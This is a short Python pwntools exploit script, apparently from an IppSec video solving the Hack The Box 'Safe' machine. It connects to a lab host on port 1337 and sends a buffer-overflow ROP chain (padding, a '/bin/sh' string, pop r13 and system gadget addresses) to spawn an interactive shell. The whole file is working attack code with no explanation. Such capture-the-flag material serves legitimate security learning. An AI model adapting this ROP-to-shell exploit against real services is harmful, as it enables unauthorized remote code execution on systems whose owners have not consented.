#
# Code from Ippsec Safe HTB YouTube Video
#
# Ippsec Zetta YouTube https://youtu.be/CO_g3wtC7rk
#

from pwn import *

context(terminal=['tmux','new-window'])
context(os='linux', arch='amd64')
# p = gdb.debug('./myapp', 'b main')

p = remote('10.10.10.147', 1337)

junk      = ('A' * 112).encode()
call_main = p64(0x40115f)

bin_sh    = "/bin/sh\x00".encode()
system    = p64(0x40116e)
pop_r13   = p64(0x401206)
null      = p64(0x0)
test      = p64(0x401152)

# p.recvuntil('What do you want me to echo back?')
p.sendline(junk + bin_sh + pop_r13 + system + null + null + test)
p.interactive()
